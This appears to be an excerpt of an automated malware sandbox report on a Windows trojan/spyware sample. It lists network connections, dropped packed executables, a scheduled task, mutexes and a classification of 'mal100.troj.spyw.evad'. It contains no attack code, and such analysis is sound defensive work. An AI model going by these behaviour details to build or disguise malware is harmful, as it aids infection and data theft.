Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50050 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 9225ca0b64.exe, 0000000B.00000002.2693223034.0000000000232000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9213ed87-e
Source: 9225ca0b64.exe, 0000000B.00000002.2693223034.0000000000232000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_496a7859-7
Source: 9225ca0b64.exe, 00000020.00000000.2768376067.0000000000232000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_dae29723-7
Source: 9225ca0b64.exe, 00000020.00000000.2768376067.0000000000232000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a8c21e90-0

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: 45de1d3aba.exe.6.dr	Static PE information: section name:
Source: 45de1d3aba.exe.6.dr	Static PE information: section name: .idata
Source: 45de1d3aba.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: baacd96df2.exe.6.dr	Static PE information: section name:
Source: baacd96df2.exe.6.dr	Static PE information: section name: .idata
Source: baacd96df2.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: bec28015e3.exe.6.dr	Static PE information: section name:
Source: bec28015e3.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 25a6468a3b.exe.6.dr	Static PE information: section name:
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: .rsrc
Source: 25a6468a3b.exe.6.dr	Static PE information: section name: .idata
Source: 25a6468a3b.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF2F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	9_2_6BF2F280
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF8B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	9_2_6BF8B910
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF8B8C0 rand_s,NtQueryVirtualMemory,	9_2_6BF8B8C0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF8B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	9_2_6BF8B700
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF4ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	9_2_6BF4ED10

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A8860	6_2_002A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A7049	6_2_002A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A78BB	6_2_002A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A2D10	6_2_002A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A31A8	6_2_002A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00264DE0	6_2_00264DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00264B30	6_2_00264B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00297F36	6_2_00297F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002A779B	6_2_002A779B
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF235A0	9_2_6BF235A0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF953C8	9_2_6BF953C8
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF2F380	9_2_6BF2F380
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF3C370	9_2_6BF3C370
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF25340	9_2_6BF25340
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF6D320	9_2_6BF6D320
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF41AF0	9_2_6BF41AF0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF6E2F0	9_2_6BF6E2F0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF68AC0	9_2_6BF68AC0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF3CAB0	9_2_6BF3CAB0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF92AB0	9_2_6BF92AB0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF222A0	9_2_6BF222A0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF54AA0	9_2_6BF54AA0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF9BA90	9_2_6BF9BA90
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF69A60	9_2_6BF69A60
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF5D9B0	9_2_6BF5D9B0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF2C9A0	9_2_6BF2C9A0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF65190	9_2_6BF65190
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF82990	9_2_6BF82990
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF7B970	9_2_6BF7B970
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF9B170	9_2_6BF9B170
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF3D960	9_2_6BF3D960
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF4A940	9_2_6BF4A940
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF4C0E0	9_2_6BF4C0E0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF658E0	9_2_6BF658E0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF950C7	9_2_6BF950C7
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF560A0	9_2_6BF560A0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF6F070	9_2_6BF6F070
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF48850	9_2_6BF48850
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF4D850	9_2_6BF4D850
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF6B820	9_2_6BF6B820
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF74820	9_2_6BF74820
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF37810	9_2_6BF37810
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF56FF0	9_2_6BF56FF0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF2DFE0	9_2_6BF2DFE0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF777A0	9_2_6BF777A0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF67710	9_2_6BF67710
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF39F00	9_2_6BF39F00
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF2BEF0	9_2_6BF2BEF0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF3FEF0	9_2_6BF3FEF0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF976E3	9_2_6BF976E3
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF84EA0	9_2_6BF84EA0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF45E90	9_2_6BF45E90
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF8E680	9_2_6BF8E680
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF2C670	9_2_6BF2C670
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF96E63	9_2_6BF96E63
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF49E50	9_2_6BF49E50
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF63E50	9_2_6BF63E50
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF44640	9_2_6BF44640
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF72E4E	9_2_6BF72E4E
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF89E30	9_2_6BF89E30
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF67E10	9_2_6BF67E10
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF75600	9_2_6BF75600
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF885F0	9_2_6BF885F0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF60DD0	9_2_6BF60DD0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF4ED10	9_2_6BF4ED10
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF50512	9_2_6BF50512
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF3FD00	9_2_6BF3FD00
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF66CF0	9_2_6BF66CF0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF2D4E0	9_2_6BF2D4E0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF4D4D0	9_2_6BF4D4D0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF364C0	9_2_6BF364C0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF834A0	9_2_6BF834A0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF8C4A0	9_2_6BF8C4A0
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF36C80	9_2_6BF36C80
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF9545C	9_2_6BF9545C
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF35440	9_2_6BF35440
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF9542B	9_2_6BF9542B
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF65C10	9_2_6BF65C10
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF72C10	9_2_6BF72C10
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: 9_2_6BF9AC00	9_2_6BF9AC00

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: String function: 6BF694D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Code function: String function: 6BF5CBE8 appears 134 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9977115974114441
Source: file.exe	Static PE information: Section: ufcrnojc ZLIB complexity 0.994446650030248
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977115974114441
Source: skotes.exe.0.dr	Static PE information: Section: ufcrnojc ZLIB complexity 0.994446650030248
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974409550330033
Source: random[1].exe.6.dr	Static PE information: Section: tklpndtl ZLIB complexity 0.9940238997781065
Source: 45de1d3aba.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974409550330033
Source: 45de1d3aba.exe.6.dr	Static PE information: Section: tklpndtl ZLIB complexity 0.9940238997781065
Source: random[1].exe0.6.dr	Static PE information: Section: rkukuayu ZLIB complexity 0.9949271222014925
Source: baacd96df2.exe.6.dr	Static PE information: Section: rkukuayu ZLIB complexity 0.9949271222014925
Source: random[2].exe.6.dr	Static PE information: Section: izldifvl ZLIB complexity 0.9946313654168998
Source: 25a6468a3b.exe.6.dr	Static PE information: Section: izldifvl ZLIB complexity 0.9946313654168998

Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@85/61@52/19

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Code function: 9_2_6BF87030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

9_2_6BF87030

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6724:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2652:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D262A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
